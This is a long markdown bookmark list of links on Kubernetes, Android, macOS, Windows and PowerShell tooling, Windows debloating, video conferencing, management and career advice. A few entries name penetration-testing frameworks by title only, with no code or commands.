- [Gatekeeper](https://github.com/open-policy-agent/gatekeeper): Policy Controller for Kubernetes
- [Kubernetes Networking: Behind the scenes](https://itnext.io/kubernetes-networking-behind-the-scenes-39a1ab1792bb)
- [Scaling Kubernetes to 7,500 Nodes](https://openai.com/blog/scaling-kubernetes-to-7500-nodes/)
- [k8s-image-swapper](https://github.com/estahn/k8s-image-swapper/): Mirror images into your own registry and swap image references automatically.
- [BotKube](https://github.com/infracloudio/botkube)
- Lambda
- [Cloud Computing without Containers](https://blog.cloudflare.com/cloud-computing-without-containers/?hH)
- [The Global Serverless Platform](https://zeit.co), [demo](https://serverless-bash.now.sh/)
- [Awesome Kubernetes Resources](https://github.com/tomhuang12/awesome-k8s-resources): A curated list of awesome Kubernetes tools and resources.
- [A quick introduction to Toolbox on Fedora](https://fedoramagazine.org/a-quick-introduction-to-toolbox-on-fedora/): Toolbox allows you to sort and manage your development environments in containers without requiring root privileges or manually attaching volumes. It creates a container where you can install your own CLI tools, without installing them on the base system itself.
- [Reverse Engineering and Explointing Build in the Cloud](https://twitter.com/Enno_Insinuator/status/1202251271564152832)
- [podman](https://github.com/containers/podman): A tool for managing OCI containers and pods
## Android
- Android Developers Blog - [Introducing Oboe](https://android-developers.googleblog.com/2018/10/introducing-oboe-c-library-for-low.html): A C++ library for low latency audio
- [My Homeassistant configuration](https://github.com/eifinger/homeassistant-config)
- [Nord Theme](https://github.com/home-assistant-community-themes/nord): Nord theme for Home Assistant.
- [Don't kill my app!](https://dontkillmyapp.com/): To squeeze a little extra battery out of your phone, Android device vendors listed below (with their bad vendor score) cripple apps and make them useless.
- [Project description](https://github.com/igorwojda/android-showcase): gemAndroid application following best practices: Kotlin, coroutines, Clean Architecture, feature modules, tests, MVVM, static analysis...
- [scrcpy](https://github.com/Genymobile/scrcpy): Display and control your Android device
- [Kotlin-Pokedex](https://github.com/mrcsxsiq/Kotlin-Pokedex): A Pokedex app using ViewModel, LiveData, Room and Navigation
- [NewPipe](https://newpipe.schabi.org/): The lightweight YouTube experience for Android - [code](https://github.com/TeamNewPipe/NewPipe)
- [Android and Kotlin conference videos](https://github.com/igorwojda/android-kotlin-conference-videos)
## Mac/iOS
- [Using AppleScript how do I click a button in a dialog within a window that has no name/title?](https://stackoverflow.com/questions/7355763/using-applescript-how-do-i-click-a-button-in-a-dialog-within-a-window-that-has-n)
- [Making the Touch Bar finally useful](http://vas3k.com/blog/touchbar/)
- [iTerm2](https://github.com/gnachman/iTerm2) is a terminal emulator for Mac OS X that does amazing things.
- [kemon](https://github.com/didi/kemon): An Open-Source Pre and Post Callback-Based Framework for macOS Kernel Monitoring.
- [linuxify](https://github.com/fabiomaia/linuxify): 🍏🐧 Transparently transform the macOS CLI into a fresh GNU/Linux CLI experience.
- [MicroMDM](https://micromdm.io/)
- [Package Config](https://github.com/orta/PackageConfig): A Swift Package that allows you to define configuration settings inside a Package.swift
- [iSh](https://github.com/tbodt/ish): Linux shell for iOS
- [osxfuse](https://github.com/osxfuse/osxfuse): FUSE extends macOS by adding support for user space file systems
- [MacPass](https://github.com/MacPass/MacPass): A native OS X KeePass client
- [CoreXLSX](https://github.com/MaxDesiatov/CoreXLSX): Excel spreadsheet (XLSX) format support in pure Swift, by [max desiatov](https://desiatov.com/swift-codable-xlsx/#title)
- [istatserverlinux](https://github.com/bjango/istatserverlinux): A system monitoring daemon that sends stats to Send stats to iStat View for iOS and iStat View for macOS.
- [istatserver-dsm](https://bitbucket.org/jpboivin/istatserver-dsm): iStatserver for Synology DSM.
- [Shell scripts for customized macOS machine setup and configuration.](https://github.com/bkuhlmann/mac_os-config)
- [SourceKit-LSP](https://github.com/apple/sourcekit-lsp): Language Server Protocol implementation for Swift and C-based languages.
- [apple libc uses perl](https://github.com/Apple-FOSS-Mirror/Libc/blob/2ca2ae74647714acfc18674c3114b1a5d3325d7d/gen/wordexp.c#L192)
- [Sloth](https://github.com/sveinbjornt/Sloth): Mac app that shows all open files and sockets in use by all running processes. Nice GUI for lsof.
- [insert_dylib](https://github.com/Tyilo/insert_dylib): Command line utility for inserting a dylib load command into a Mach-O binary
- [ds_store](https://github.com/al45tair/ds_store): lets you examine and modify .DS_Store files from Python code; since it is written in pure Python, it is portable and will run on any platform, not just Mac OS X.
- [mac_os](https://github.com/bkuhlmann/mac_os#requirements): Shell scripts for automated macOS machine setup.
- [Charts](https://github.com/danielgindi/Charts)
- [symboliclinker](https://github.com/nickzman/symboliclinker): A contextual menu plugin & service for Mac OS X that allows users to make symbolic links in the Finder
- [macOS Catalina 10.15 Release Notes](https://developer.apple.com/documentation/macos_release_notes/macos_catalina_10_15_release_notes#3318257): Update your apps to use new features, and test your apps against API changes.
- [Awesome macOS open source applications](https://github.com/serhii-londar/open-source-mac-os-apps): Awesome list of open source applications for macOS.
- [How to lock the Dock on your Mac to prevent unwanted changes](https://www.idownloadblog.com/2020/01/15/how-to-lock-the-dock-on-mac/)
- [Entirely offline auto-organizer and text extractor from screenshots in macOS](https://news.ycombinator.com/item?id=22727333)
- [create_macos_vm_install_dmg](https://github.com/rtrouton/create_macos_vm_install_dmg): This script prepares macOS installer disk images for use with virtualization software like VMware Fusion or Parallels.
- [OpenCorePkg](https://github.com/acidanthera/OpenCorePkg): OpenCore bootloader with development SDK.
- [macOS-Fortress](https://github.com/essandess/macOS-Fortress): Firewall and Privatizing Proxy for Trackers, Attackers, Malware, Adware, and Spammers with Anti-Virus On-Demand and On-Access Scanning (PF, squid, privoxy, hphosts, dshield, emergingthreats, hostsfile, PAC file, clamav).
- [BitBar](https://github.com/matryer/bitbar): Put the output from any script or program in your Mac OS X Menu Bar.
- [AppleScript](https://daringfireball.net/2020/01/quit_confirmation_for_safari_on_macos) to Warn before quiting.
- [pdfinverter](https://github.com/rootVIII/pdfinverter): darken (or lighten) a PDF on macOS
- [macOS has checked app signatures online for over 2 years](https://eclecticlight.co/2020/11/25/macos-has-checked-app-signatures-online-for-over-2-years/)
- [Better than Time Machine: backup your Mac with rsync](https://www.haykranen.nl/2008/05/05/rsync/)
- [m1n1](https://github.com/asahilinux/m1n1): A bootloader and experimentation playground for Apple Silicon
- [CS193p](https://cs193p.sites.stanford.edu/): Developing Applications for iOS using SwiftUI
- [Crescendo](https://github.com/SuprHackerSteve/Crescendo): is a swift based, real time event viewer for macOS. It utilizes Apple's Endpoint Security Framework.
- [TrueTree](https://github.com/themittenmac/TrueTree): A command line tool for pstree-like output on macOS with additional pid capturing capabilities.
- [Thoughts on the App Store](https://rileytestut.com/blog/2020/10/14/thoughts-on-app-store/)
- [Extensions are moving away from the kernel](https://eclecticlight.co/2021/07/07/extensions-are-moving-away-from-the-kernel/)
- [libimobiledevice](https://libimobiledevice.org/): A cross-platform FOSS library written in C to communicate with iOS devices natively.
- [Kingfisher](https://github.com/onevcat/Kingfisher): A lightweight, pure-Swift library for downloading and caching images from the web.
- [Maestral](https://github.com/SamSchott/maestral): Open-source Dropbox client for macOS and Linux.
## Windows
- [coreclr](https://github.com/dotnet/coreclr): This repo contains the .NET Core runtime, called CoreCLR, and the base library, called System.Private.Corelib (or mscorlib).
- [Monitoring and Observability in the .NET Runtime](http://mattwarren.org/2018/08/21/Monitoring-and-Observability-in-the-.NET-Runtime/)
- [The early history of Windows file attributes, and why there is a gap between System and Directory](https://blogs.msdn.microsoft.com/oldnewthing/20180830-00/?p=99615)
- [SysmonTools](https://github.com/nshalabi/SysmonTools): Utilities for Sysmon
- [WoW64 internals](https://wbenny.github.io/2018/11/04/wow64-internals.html): aka Windows (32-bit) on Windows (64-bit) - is a subsystem that enables 32-bit Windows applications to run on 64-bit Windows.
- [Installing sqlcmd without SQL Server](http://daveslog.com/2017/03/19/installing-sqlcmd-without-sql-server/)
- [Running vROpsCLI on Windows](http://www.vmspot.com/vropscli-on-windows/)
- [windows-dev-box-setup-scripts](https://github.com/Microsoft/windows-dev-box-setup-scripts)
- [qemu-img for WIndows](https://cloudbase.it/qemu-img-windows/)
- [OrgKit](https://github.com/SwiftOnSecurity/OrgKit): Provision a brand-new company with proper defaults in Windows, Offic365, and Azure
- [example-azure-node](https://github.com/sdras/example-azure-node): An example Node webapp deployed with GitHub actions.
- [Reset a Windows 10 password](https://4sysops.com/archives/reset-a-windows-10-password/): The method to reset a Windows 10 password depends on the account type. A Microsoft account requires a different procedure than a local account requires.
- [Get SID from Linux ldapsearch in Active Directory](https://bgstack15.wordpress.com/2018/02/26/get-sid-from-linux-ldapsearch-in-active-directory/)
- [ObjectSID Trouble](https://ldapwiki.com/wiki/ObjectSID)
- [Gmail on NT 3.51 with IE 1.5](https://virtuallyfun.com/wordpress/2019/07/12/gmail-on-nt-3-51-with-ie1-5-via-wrp-4-1/) via [WRP](https://github.com/tenox7/wrp)
- [Modifying Windows local accounts with Fedora and chntpw](https://fedoramagazine.org/modifying-windows-local-accounts-with-fedora-and-chntpw/)
- [Enabling Windows' DNS Server to Validate DNSSEC](https://blog.cdemi.io/enabling-windows-dns-server-to-validate-dnssec/)
- [Windows X86-64 System Call Table](https://j00ru.vexillium.org/syscalls/nt/64/) (XP/2003/Vista/2008/7/2012/8/10). [windows-syscalls](https://github.com/j00ru/windows-syscalls)
- [Awesome-Windows](https://github.com/Awesome-Windows/Awesome): 💻 An awesome & curated list of best applications and tools for Windows.
- [PowerToys](https://github.com/Microsoft/PowerToys): Windows system utilities to maximize productivity
- [live sysinternals](https://live.sysinternals.com/): This is a file share allowing access to all Sysinternals utilities. We have developed this to test an alternate distribution mechanism for our utilities.
- [Windows 10 and Server 2019 Secure Baseline GPO](https://github.com/mxk/win10-secure-baseline-gpo): Windows 10 and Server 2016 Secure Baseline Group Policy
- [How to manage the changes in Netlogon secure channel connections associated with CVE-2020-1472](https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc)
- [BadBlood](https://github.com/davidprowe/BadBlood) by @davidprowe, Secframe.com, fills a Microsoft Active Directory Domain with a structure and thousands of objects. The output of the tool is a domain similar to a domain in the real world. After BadBlood is ran on a domain, security analysts and engineers can practice using tools to gain an understanding and prescribe to securing Active…
- [Visio-to-PNG](https://github.com/ghostinthewires/Visio-to-PNG): Powershell script that exports Visio drawings in the current directory to png
- [Useful File Manipulation Scripts](https://github.com/ghostinthewires/Useful-File-Manipulation-Scripts).
- [BgInfo](https://docs.microsoft.com/en-us/sysinternals/downloads/bginfo): It automatically displays relevant information about a Windows computer on the desktop's background.
- [Windows-driver-samples](https://github.com/microsoft/Windows-driver-samples): This repo contains driver samples prepared for use with Microsoft Visual Studio and the Windows Driver Kit (WDK). It contains both Universal Windows Driver and desktop-only driver samples.
- [Winerror](https://github.com/AandersonL/WinError): Get Windows Programming error codes descriptions using the command line.
- [Windows classic samples](https://github.com/microsoft/Windows-classic-samples): This repo contains samples that demonstrate the API used in Windows classic desktop applications.
- [Uno Platform](https://github.com/unoplatform/uno): Build Mobile, Desktop and WebAssembly apps with C# and XAML. Today. Open source and professionally supported.
- [sysmon to detect process tampering](https://twitter.com/markrussinovich/status/1328769178233237504)
- [WSL-Hello-sudo](https://github.com/nullpo-head/WSL-Hello-sudo): Let's sudo by face recognition of Windows Hello on Windows Subsystem for Linux (WSL). It runs on both WSL 1 and WSL 2. This is a PAM module for Linux on WSL.
- [NTVDMx64](https://github.com/leecher1337/ntvdmx64): Run Microsoft Windows NTVDM (DOS) on 64bit Editions
- [I/O Rings](https://windows-internals.com/i-o-rings-when-one-i-o-operation-is-not-enough/): When One I/O Operation is Not Enough.
- [TRACK THE STATUS OF YOUR AZURE ENVIRONMENT WITH POWER BI DASHBOARDS](https://techgenix.com/power-bi-dashboard-azure-governance/) [Continuous Cloud Optimization Power BI Dashboards Project](https://github.com/Azure/ccodashboard/)
- [UUP converter](https://github.com/uup-dump/converter): Multiplatform UUP converter.
- [What's new in Windows 10 Enterprise LTSC 2019](https://docs.microsoft.com/en-us/windows/whats-new/ltsc/whats-new-windows-10-2019)
- [Ping Castle](https://www.pingcastle.com/)
- [Schedule tasks from command line](https://www.windows-commandline.com/schedule-tasks-command-line/)
- [Windows 2000 Modernization Guide](https://w2k.phreaknet.org/guide): So, you want to use Windows 2000 in 2021?
- [VirtualKD-Redux](https://github.com/4d61726b/VirtualKD-Redux): A revival and modernization of VirtualKD.
- [The Ultimate Windows Development Environment Guide](https://unicorn-utterances.com/posts/ultimate-windows-development-environment-guide#terminal-usage)
- [chocolatey](https://chocolatey.org/): a third party package manager that's been around since 2011.
- [cmder](https://github.com/cmderdev/cmder): is a software package created out of pure frustration over absence of usable console emulator on Windows.
- [winget](https://github.com/microsoft/winget-cli): Windows Package Manager CLI (aka winget).
### Windows Dev
- [Windows API sets](https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-apisets)
- [SvcHostDemo](https://github.com/apriorit/SvcHostDemo): Demo service that runs in svchost.exe
- [ELAM Prerequisites](https://docs.microsoft.com/en-us/windows-hardware/drivers/install/elam-prerequisites): Early Launch Antimalware drivers must adhere to the following program requirements to be signed by WHQL and loaded by Windows.
- [Configuring Additional LSA Protection](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection)
- [Protecting Anti-Malware Services](https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-)
### Powershell
- [PowerShell Gallery](https://www.powershellgallery.com/)
- [Powershell-SSHTools](https://github.com/fridgehead/Powershell-SSHTools): A bunch of useful SSH tools for powershell
- [PowerShellAtomicHarness](https://github.com/caseysmithrc/PowerShellAtomicHarness): Execute Test Cases In PowerShell
- [About Logging](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-6#protected-event-logging)
- [Hardening PowerShell Script Block Logging Log](https://community.idera.com/database-tools/powershell/powertips/b/tips/posts/hardening-powershell-script-block-logging-log)
- [Install-Module](https://docs.microsoft.com/en-us/powershell/module/powershellget/install-module?view=powershell-6)
- [PowerSploit](https://github.com/PowerShellMafia/PowerSploit): is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.
- [Empire](https://github.com/EmpireProject/Empire): Empire is a PowerShell and Python post-exploitation agent.
- [PowerShell 2.0 script to get processes tree](https://gist.github.com/JPMinty/f4d60adafdfbc12b0e4226a27bf1dcb0)
- [Win10-Initial-Setup-Script](https://github.com/Disassembler0/Win10-Initial-Setup-Script): PowerShell script for automation of routine tasks done after fresh installations of Windows 10 / Server 2016 / Server 2019.
- [Disk Space Reporting Script (Powershell & HTML)](https://github.com/ghostinthewires/Disk-Space-Reporting-Script)
### Debloat/DeCrap
- [Windows10Debloater](https://github.com/Sycnex/Windows10Debloater): Script to remove Windows 10 bloatware.
- [How to slim Windows 10 and make it superfast](https://malwaretips.com/threads/how-to-slim-windows-10-and-make-it-superfast.91924/) (thread from 04/2019)
- [Windows-10-Super-Minimal](https://github.com/prclaunchky/Windows-10-Super-Minimal)
- [Windows 10 Lite 9.0](https://www.majorgeeks.com/files/details/windows_10_lite.html)
- [Create custom Windows 10 installations with MSMG Toolkit](https://www.ghacks.net/2017/05/02/create-custom-windows-10-installations-with-msmg-toolkit/), [MSMG ToolKit](https://www.majorgeeks.com/mg/getmirror/msmg_toolkit,1.html) creates a slimmed down, or bloat free Windows by customizing, adding or removing features and components as well as enabling or disabling features to Microsoft Windows 7, 8, and 10.
- [How to slim Windows 10 and make it superfast](https://malwaretips.com/threads/how-to-slim-windows-10-and-make-it-superfast.91924/)
- A lot of powershell scripts:
- [Windows-10-Super-Minimal](https://github.com/prclaunchky/Windows-10-Super-Minimal)
- [Windows 10 Decrapifier](https://gist.github.com/gvlx/b4d4c5681900ca965276fc5c16fe8520)
- [Windows Decrapifier](https://github.com/n1snt/Windows-Decrapifier)
- [How to: Shoehorn Decrapifier into your MDT task!](https://community.spiceworks.com/how_to/150455-shoehorn-decrapifier-into-your-mdt-task) - not tested.
---
## Datacenter
- [The Datacenter as a Computer: Designing Warehouse-Scale Machines, Third Edition](https://www.morganclaypool.com/doi/10.2200/S00874ED3V01Y201809CAC046)
- [Automating Datacenter Operations at Dropbox](https://blogs.dropbox.com/tech/2019/01/automating-datacenter-operations-at-dropbox/)
## Support
- [Open MCT](https://nasa.github.io/openmct/): is a next-generation mission control framework for visualization of data on desktop and mobile devices - [github](https://github.com/nasa/openmct)
- [magic-wormhole](https://github.com/magic-wormhole/magic-wormhole): get things from one computer to another, safely.
### Video Conference
- [Hublin](https://github.com/linagora/hublin): An easy and free video conference service based on WebRTC
- [PeerTube](https://github.com/Chocobozzz/PeerTube): Federated (ActivityPub) video streaming platform using P2P (BitTorrent) directly in the web browser with WebTorrent and Angular.
- [Vialer-js](https://github.com/vialer/vialer-js): Open-source WebRTC communication platform.
- [Jitsi](https://jitsi.org/): Multi-platform open-source [video conferencing](https://github.com/jitsi/jitsi-meet),
- [Jitsi Meet](https://meet.jit.si/)
- [manual-install](https://github.com/jitsi/jitsi-meet/blob/master/doc/manual-install.md)
- [quick-install](https://github.com/jitsi/jitsi-meet/blob/master/doc/quick-install.md)
- [webtty](https://github.com/maxmcd/webtty): Share a terminal session over WebRTC
- [webrtc-qr](https://github.com/AquiGorka/webrtc-qr): WebRTC Connect [Experiment](https://webrtc-qr.surge.sh/)
- [Talk](https://github.com/vasanthv/talk): A group video call for the web. No signups. No downloads.
- [Apache OpenMeetings](https://openmeetings.apache.org/): provides video conferencing, instant messaging, white board, collaborative document editing and other groupware tools.
- [Touch Portal](https://www.touch-portal.com/): The macro remote control for PC and Mac
- OBS Studio:
- [obs-websocket](https://github.com/Palakis/obs-websocket): Remote-control OBS Studio through WebSockets
- [Stream Overlay - The Legend Of Zelda](https://8bitdoctor.blogspot.com/2018/07/stream-overlay-legend-of-zelda.html), [Doom](https://images.techhive.com/images/article/2016/10/20161010181638_1-100686915-orig.jpg)
- [44 Virtual Icebreakers and Team-Building Activities to Try Immediately](https://www.tinypulse.com/blog/44-virtual-icebreakers-and-team-building-activities)
- [jami](https://jami.net/): floss and universal communication platform, preserving privacy and freedom.
## Management
- [8 Patterns for Decentralised Organising](https://standupdev.com/wiki/doku.php?id=patterns_for_decentralised_organising)
- [Zulip server](https://github.com/zulip/zulip/) - powerful open source team chat
- [awesome-leading-and-managing](https://github.com/LappleApple/awesome-leading-and-managing): Awesome List of resources on leading people and being a manager. Geared toward tech, but potentially useful to anyone.
- [Agile Lite](https://github.com/davebs/AgileLite): Agile without all the burnout.
- [7 rules of hiring a remote team for your project](https://cvcompiler.com/blog/7-rules-of-hiring-a-remote-team-for-your-project/)
- [AgileFall](https://steveblank.com/2019/09/17/agilefall-when-waterfall-sneaks-back-into-agile/): When Waterfall Sneaks Back Into Agile
## Career
- [A Career Cold Start Algorithm](http://boz.com/articles/career-cold-start.html)
- [How to say “no” to your boss, your boss’s boss, and even the CEO](https://codewithoutrules.com/2018/08/16/how-to-say-no/)
- [test-your-sysadmin-skills](https://github.com/trimstray/test-your-sysadmin-skills): A collection of *nix Sysadmin Test Questions and Answers for Interview/Exam (2018 Edition).
- [Careers outside of academia with a PhD in volcanology](https://volcanologistsoutsideacademia.wordpress.com/2018/08/29/spotlight-john-a-stevenson-ph-d/)
- [ToolsOfTheTrade](https://github.com/cjbarber/ToolsOfTheTrade): Tools of The Trade, from Hacker News.
- [test-your-sysadmin-skills](https://github.com/trimstray/test-your-sysadmin-skills): A collection of *nix Sysadmin Test Questions and Answers for Interview/Exam (2018 Edition). Test your knowledge in different fields with these Q/A.
- [Don’t work “remotely”](http://blairreeves.me/2018/11/09/dont-work-remotely/)
- [The First 100 Course](https://docs.google.com/document/d/104qgagSsp2rQQEDORGbYC0uqt0neYHCPxu-aUl4CuSQ/): Measure the strength of your idea with real customers
- [20 Questions To Ask Before Joining A Startup](https://hharnisc.github.io/2018/11/25/twenty-questions-to-ask-before-joining-a-startup.html)
- [4 Mentorship Archetypes](https://g-rand.com/2018/12/04/4-mentorship-archetypes/)
- [On Shutting Down](https://blog.ycombinator.com/shutting-down/)
- [How I Built A $5,000 Per Month Side Project](https://campfirelabs.co/blog-1/2019/1/10/how-i-built-a-5000-per-month-side-project)
- [The Future of Work Framework](https://blogs.nasa.gov/futureofwork/2018/11/15/the-future-of-work-framework/)
- [Why work at Stripe when you could run your own business?](https://www.kalzumeus.com/2019/3/18/two-years-at-stripe/)
- [Defining a Distinguished Engineer](https://blog.jessfraz.com/post/defining-a-distinguished-engineer/)
- [working for a startup makes increasingly less sense](https://jatins.gitlab.io/me/why-startup/)
- [on internal engineering practices at amazon](https://jatins.gitlab.io/me/amazon-internal-tools/)
- [Your Network Determines Success More than You Realize](https://medium.com/swlh/your-network-determines-success-more-than-you-realize-41a3e889ecea)
- [How NOT to hire a software engineer](http://tonsky.me/blog/hiring/)
- [Productivity Isn’t About Time Management. It’s About Attention Management.](https://www.nytimes.com/2019/03/28/smarter-living/productivity-isnt-about-time-management-its-about-attention-management.html)
- [Things I Learnt The Hard Way (in 30 Years of Software Development)](https://blog.juliobiason.net/thoughts/things-i-learnt-the-hard-way/)
- [What is a 1x Engineer?](https://1x.engineer/) - [github](https://github.com/cutenode/1x.engineer)
- [No CS Degree](https://www.nocsdegree.com/about/)
- [Want to hire the best programmers? Offer growth.](https://triplebyte.com/blog/want-hire-best-programmers-offer-growth)
- [All the best engineering advice I stole from non-technical people](https://medium.com/@bellmar/all-the-best-engineering-advice-i-stole-from-non-technical-people-eb7f90ca2f5f)
- [Things I Learnt from a Senior Software Engineer](https://neilkakkar.com/things-I-learnt-from-a-senior-dev.html)
- [Everything I googled in a week as a professional software engineer](https://localghost.dev/2019/09/everything-i-googled-in-a-week-as-a-professional-software-engineer/)
- [Reverse interview](https://github.com/viraptor/reverse-interview): Questions to ask the company during your interview.
- [DevOps didn’t exist when I started as a developer: How this one principle changed my career](https://circleci.com/blog/use-circleci-orbs-to-build-test-and-deploy-a-simple-go-application-to-aws-ecs/)
- [Sysadmin job levels](https://www.redhat.com/sysadmin/job-levels): What you need to know for each. Linux system administrator job descriptions can run the gamut from very generic to extremely specific. Find out which skills and knowledge you really need for each technical level.
- [Being ‘Indistractable’ Will Be the Skill of the Future](https://onezero.medium.com/being-indistractable-will-be-the-skill-of-the-future-a07780cf36f4): How the difference between traction and distraction could transform your productivity.
- [True Product Market Fit is a Minimum Viable Company](https://medium.com/swlh/true-product-market-fit-is-a-minimum-viable-company-56adeb3e49cd)
- [When your coworker does great work, tell their manager](https://jvns.ca/blog/2020/07/14/when-your-coworker-does-great-work-tell-their-manager/)
- ["Can you summarize this 200-page dev resume book in 7 tweets or less?"](https://twitter.com/GergelyOrosz/status/1319282287456874498)
- [Linkedin Quiz Answers, Skill Assessments Test](https://github.com/Ebazhanov/linkedin-skill-assessments-quizzes): Full reference of LinkedIn answers 2021 for skill assessments, LinkedIn test, questions and answers (aws-lambda, rest-api, javascript, react, git, html, jquery, mongodb, java, css, python, machine-learning, power-point) linkedin excel test lösungen, linkedin machine learning test.
- [Open Source Society University](https://github.com/ossu/computer-science): Path to a free self-taught education in Computer Science!
- [Workforce Framework for Cybersecurity (NICE Framework)](https://niccs.cisa.gov/workforce-development/cyber-security-workforce-framework)
- [Organisations tend to see rebels as troublemakers – but suppressing these individuals and their ideas could backfire.](https://www.bbc.com/worklife/article/20210528-positive-deviants-why-rebellious-workers-spark-gr-ideas)
- [Engineering Career Paths at Big Tech and High-Growth Startups](https://newsletter.pragmaticengineer.com/p/engineering-career-paths)
- ["What is your take on 'US software engineering culture' vs other cultures (like Scandinavian, Eastern EU etc)?"](https://twitter.com/GergelyOrosz/status/1455107249270140928)
## Presentations
- [How to import an SVG into Powerpoint or Keynote](https://medium.com/@kyleledbetter/how-to-import-an-svg-into-powerpoint-or-keynote-8d3d70f347a7)
- (pt-br) [Guia para eventos acessíveis](https://medium.com/uxconfbr/guia-para-eventos-acessiveis-como-fazer-apresentacoes-parte-i-137317610631): como fazer apresentações (parte I)
- (pt-br) [Guia para eventos acessíveis](https://medium.com/uxconfbr/guia-para-eventos-acess%C3%ADveis-como-fazer-apresenta%C3%A7%C3%B5es-parte-ii-ab84932bd8a2): como fazer apresentações (parte II)
- [fusuma](https://github.com/hiroppy/fusuma): ✍️Fusuma makes slides with Markdown easily.
---
## Organization
- [Shiori](https://github.com/RadhiFadlillah/shiori) is a simple bookmarks manager written in Go language
- [reminiscence](https://github.com/kanishka-linux/reminiscence): Self-Hosted Bookmark and Archive Manager
- [Photograph Your Work](https://etbe.coker.com.au/2019/01/06/photograph-your-work/)
- [How I Manage My Time](https://zwischenzugs.com/2017/12/03/how-i-manage-my-time/): by zwischenzugs
- [Ask HN: How do you keep track of your creative thoughts?](https://news.ycombinator.com/item?id=18837345)
- [WTF](https://wtfutil.com/) is a [personal information dashboard for your terminal](https://github.com/wtfutil/wtf), developed for those who spend most of their day in the command line.
## Knowlegde
- [trilium](https://github.com/zadam/trilium): Build your personal knowledge base with Trilium Notes
---
## Tools
- PDF Files:
- [How to merge or split pdf files using convert](https://linuxcommando.blogspot.com/2015/03/how-to-merge-or-split-pdf-files-using.html)
- [OpenPDF](https://github.com/LibrePDF/OpenPDF): is a free Java library for creating and editing PDF files with a LGPL and MPL open source license. OpenPDF is based on a fork of iText. We welcome contributions from other developers. Please feel free to submit pull-requests and bugreports to this GitHub repository.
- [PDF Arranger](https://github.com/pdfarranger/pdfarranger): Small python-gtk application, which helps the user to merge or split pdf documents and rotate, crop and rearrange their pages using an interactive and intuitive graphical interface
- [qr-filetransfer](https://github.com/claudiodangelis/qr-filetransfer):Transfer files over wifi from your computer to your mobile device by scanning a QR code without leaving the terminal.
- [robotjs](https://github.com/octalmage/robotjs): Node.js Desktop Automation.
- [Whatsapp Automation](https://github.com/mnkgrover08/whatsapp_automation) is a collection of APIs that interact with WhatsApp messenger runn
- [pbec](https://github.com/wilvk/pbec): Polaris Bios Editor for the Console
- [zero](https://github.com/KonstantinSchubert/zero): Local file system transparently swapping to the cloud
- [pdiary](https://github.com/manipuladordedados/pdiary)
- [jabcode](https://github.com/jabcode/jabcode): color bar code.
- [elasticsearch-dump](https://github.com/taskrabbit/elasticsearch-dump): Import and export tools for elasticsearch
- [rga](https://phiresky.github.io/blog/2019/rga--ripgrep-for-zip-targz-docx-odt-epub-jpg/):ripgrep, but also search in PDFs, E-Books, Office documents, zip, tar.gz, etc. [github repo](https://github.com/phiresky/ripgrep-all)
- [GNU GREP and RIPGREP](https://github.com/learnbyexample/learn_gnugrep_ripgrep): Example based guide to mastering GNU grep and ripgrep.
- [Leon](https://github.com/leon-ai/leon): is your open-source personal assistant.
- [Code Shelter](https://www.codeshelter.co/): Code Shelter is a collective of volunteer software developers that aims to help with maintaining popular open source projects whose authors need a hand or don't have the time to maintain them any more.
- [github personal-website](https://github.com/github/personal-website): Code that'll help you kickstart a personal website that showcases your work as a software developer.
- [code-server](https://github.com/codercom/code-server): Run VS Code on a remote server.
- [Bloom](https://www.kerkour.fr/blog/bloom-a-free-and-open-source-google/): a free and open source Google
- [baxx.dev](https://txt.black/~jack/baxx-dev.txt): It is a backup service with unix philosophy in mind, and curl as main interface and (soon) machine learning alerting.
- [3 cool text-based email clients](https://fedoramagazine.org/3-cool-text-based-email-clients/): The Fedora OS provides a large choice of email clients and among these are text-based email applications.
- [Setting kernel command line arguments with Fedora 30](https://fedoramagazine.org/setting-kernel-command-line-arguments-with-fedora-30/).
- [Pattern-dreamer](https://github.com/Andrew-Kang-G/pattern-dreamer): Get urls with missing protocol & uris with missing domain & emails etc. in texts and parse them.
- [Customizing pandoc to generate beautiful pdfs from markdown](https://learnbyexample.github.io/tutorial/ebook-generation/customizing-pandoc/).
- [Jeffrey's Image Metadata Viewer](http://exif.regex.info/exif.cgi): This tool remains available so long as I can keep it free and the bandwidth doesn't cost me too much.
- An Instagram Story of:
- [Types for Python HTTP APIs](https://instagram-engineering.com/types-for-python-http-apis-an-instagram-story-d3c3a207fdb7)
- [Static Analysis at Scale](https://instagram-engineering.com/static-analysis-at-scale-an-instagram-story-8f498ab71a0c)
- [peco](https://github.com/peco/peco): Simplistic interactive filtering tool.
- [free POS software.](http://keyhut.com/pos.htm)
- GPG tips:
- [GPG Encryption Guide - Part 4 (Symmetric Encryption)](https://www.tutonics.com/2012/11/gpg-encryption-guide-part-4-symmetric.html)
- [Bye Bye Microsoft Office. Hello LibreOffice](https://easydns.com/blog/2019/11/25/bye-bye-microsoft-office-hello-libreoffice/)
- [deepin-screen-recorder](https://github.com/linuxdeepin/deepin-screen-recorder): Screen recorder for DDE.
- [portable Time Stamp Server (over HTTP)](https://github.com/corpus-solutions/tsa-server): portable Time Stamp Server (over HTTP)
- [youtube-dl](https://github.com/animelover1984/youtube-dl): Command-line program to download videos from YouTube.com and other video sites
- [glsnip](https://github.com/bradwood/glsnip): copy and paste across machines
- [Notable](https://notable.app/): [markdown app](https://github.com/notable/notable): The Markdown-based note-taking app that doesn't suck.
- [octocrabby](https://github.com/travisbrown/octocrabby): Tools for managing GitHub block lists.
- [Reddit-User-Media-Downloader-Public](https://github.com/MonkeyMaster64/Reddit-User-Media-Downloader-Public): Download all the picture/video posts from a particular user on Reddit, for uh...reasons. Automatically removes duplicates .
- [Reddit-User-Media-Downloader-Public](https://github.com/MonkeyMaster64/Reddit-User-Media-Downloader-Public): Download all the picture/video posts from a particular user on Reddit, for uh...reasons. Automatically removes duplicates .
- [tenacity](https://github.com/tenacityteam/tenacity): FLOSS Audacity Fork · No telemetry, crash reports and other shenanigans like that!
- [12ft](https://12ft.io/) Show me a 10ft paywall, I’ll show you a 12ft ladder.
### Rescue
- [ALT Linux Rescue](https://en.altlinux.org/Rescue): is a moderate sized[1] console LiveCD distribution that is designed to help sysadmins fix and repair many kinds of problems with systems they are or feel responsible for.
### Timeline
